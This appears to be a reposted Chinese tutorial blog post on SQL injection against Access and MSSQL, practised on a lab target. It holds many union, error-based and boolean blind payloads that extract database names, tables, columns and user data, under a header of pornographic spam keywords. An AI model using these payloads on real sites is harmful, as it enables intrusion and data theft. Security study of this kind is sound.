日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

1-9其他数据库注入

發布時間:2023/12/2 数据库 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 1-9其他数据库注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 數據庫注入
      • access數據庫
          • 判斷access數據庫
          • 常用函數
          • 查詢語句構造
            • 聯合查詢
            • 布爾型盲注
      • mssql數據庫
          • mssql數據庫判斷
          • 環境---靶機-2k3_sp2
          • 常用函數
          • 查詢語句構造
            • 聯合查詢
            • 報錯注入
            • 布爾型盲注

數據庫注入

access數據庫

判斷access數據庫
  • 根據url的后綴。ASP為后綴名的是ACCESS數據庫
  • 在url后面加單引號,以報錯信息“Microsoft ole db provider for odbc drivers”判斷為access
  • 通過and (select count(*) from msysobjects)>0發牛錯誤頁面則為access數據庫。msysobjects、msysqueries\msysrelationships為access的三個系統表,web環境下沒有權限訪問
常用函數
  • count():返回統計給定條件的行數
  • len():字符串長度,例len(‘database’)返回’8‘
  • asc():返回ascii值
  • mid(‘字符串’,n,m):返回從第n位開始,截取m長度的字符串
  • chr():返回ascii對應的字符
  • IIF(條件表達式,true,false):判斷條件成立返回true,否則返回false
  • exists():判斷是否存在數據,返回true或false
查詢語句構造
聯合查詢

先判斷數據庫類型

  • 判斷整型注入還是字符型,例?id=5-1和?id=4相同,則整型
  • 判斷列數:?id=1 order by N
  • 枚舉獲取關鍵表名:?id=1 and exists(select count(*) from admin),看admin表是否存在,如果返回值則存在,反之
  • 獲取回顯位置:?id=1 union select 1,1,1 from admin
  • 獲取數據(不存在limit和concat):?id=1 union select 1,user(),1 from admin where id=2,如果報錯,則沒有猜解函數的字段
  • 布爾型盲注
  • 猜解表名:?id=5 and (select count(*) from admin)>0或?id=5 and exists(select count(**) from admin),頁面出錯則不存在
  • 表的行數:?id=5 and (select count(*) from admin)>N
  • 猜解字段名:?id=5 and (select uname from admin)
  • 猜解字段內容的長度:?id=5 and (select top 1 len( username) from admin)>N
  • 獲取內容值:用mid函數將內容截取長度,再進行asc函數得到ascii碼值,就得到對應的字符了。輸入?id=5 and (select top 1 asc(mid( username,M,1)) from admin)>N,M從1看是截取1的長度,用二分法不停嘗試N的值,知道找到正確N值,M再加一,最后加至5獲取該字段內容為admin。
  • mssql數據庫

    mssql數據庫判斷
    • .aspx為后綴的
    • 通過?id=5 and (select count(*) from sysobjects)>0,頁面正常,則為mssql數據庫。因為存在三個系統表,
      • sysobjects:存放所有對象。字段有name-對象名、id-對象id、xtype-對象類型、uid、status)
      • syscolumns:存放所有字段。字段有name-表名,id-表id,colid-字段id。當xtype=u and status>0時,對象名=表名,對象id=表id
      • sysdatabases:保存在master數據庫中,保存了所有庫名,庫id和其他信息
    環境—靶機-2k3_sp2

  • 開啟服務

  • 登錄數據庫

  • http://192.168.43.21:8006/dianpu.aspx?id=1實踐

  • 常用函數
    • host_name():返回服務器的名稱
    • Currnet_user:返回當前數據庫用戶
    • db_name():返回當前數據庫名稱
    • CHAR():將ascii轉換為字符
    • Object_id():返回數據庫表名,通常用16進制或sql編碼
    • col_name(table_id,column_id):返回指定表中的列
    • isnull():使用指定的替換值替換null
    • substring():返回子字符串,也就是截取
    查詢語句構造
    聯合查詢
  • 判斷數據庫類型:輸入/dianpu.aspx?id=1 and (select count(*) from sysobjects)>0頁面正常,為mssql數據庫

  • **判斷列數:**輸入?id=1 order by 14,頁面報錯,則為13列,并且回顯位是字符串時,會在頁面顯示,這里第10列為字符串

  • **判斷回顯位置:**字符串的位置用null代替,輸入?id=1 union select

    1,2,3,4,5,6,7,8,9,null,11,12,13頁面報錯,意思union執行了默認的去重功能,那這里不需要,所以重新輸入為?id=1 union all select 1,2,3,4,5,6,7,8,9,null,11,12,13,

  • 但是頁面依然報錯,如下,所以哈是有的位置依然不是數字型,只能一個一個將位置置空,換null,來確定哪些是字符型位置,最終確定為?id=-1 union all select 1,2,null,null,55,null,null,8,9,null,null,12,13,頁面正常

  • **獲取數據庫名:**輸入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from master…sysdatabases,頁面顯示所有數據庫名

  • 獲取當前數據庫名:輸入?id=-1 union all select 1,2,null,null,55,db_name(),null,8,9,null,null,12,13 from master…sy,頁面顯示當前數據庫為jiaofan

  • **獲取數據庫表名:**輸入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…sysobjects where xtype=0x5500,即jiaofan數據庫下的表

  • **獲取列名:**輸入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=0x73006C005F007500730065007200),頁面顯示表中的列名信息

  • **獲取列字段的內容:**輸入?id=-1 union all select 1,2,zuocheng,null,55,null,null,8,9,null,null,12,13 from sl_user,即獲取sl_user表中zuocheng字段的信息

  • 報錯注入
  • **獲取數據庫名:**輸入http://192.168.43.21:8006/list.aspx?quyu=??′¨′ó?§?-°2oóD£??&kouwei=3?à±’ and 1=(select top 1 name from master…sysdatabases where name not in (select top N name from master…sysdatabases)) --+,該語句意思N值從0增加,逐個獲取數據庫名,查詢第一數據庫名,查第二個時,需要去更改N值 從報錯信息知數據庫為master

    [外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-I5GhwXk2-1597919684695)(D:\Desktop\亂七八糟\滲透\筆記\圖庫\1595341928185.png)]

  • **獲取當前數據庫名:**輸入’ and 1=(select db_name()) --+,獲取的為jiaofan

  • **獲取庫里面的表:**輸入’ and 1=(select top 1 name from jiaofan…sysobjects where xtype=‘U’ and name not in (select top N name from jiaofan…sysobjects where xtype=‘U’)) --+,顯示的表為sl_banner,將N值從0增加,逐個獲取表名

  • **獲取列名信息:**輸入’ and 1=(select top 1 name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’) and name not in (select top N name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’))) --+,同理,逐個獲取列名,這里是shouji

  • 獲取列中的信息:輸入’ and 1=(select top 1 shouji from sl_user where shouji not in (select top N shouji from sl_user)) --+,獲取到了相應的信息

  • 布爾型盲注

    總結

    以上是生活随笔為你收集整理的1-9其他数据库注入的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。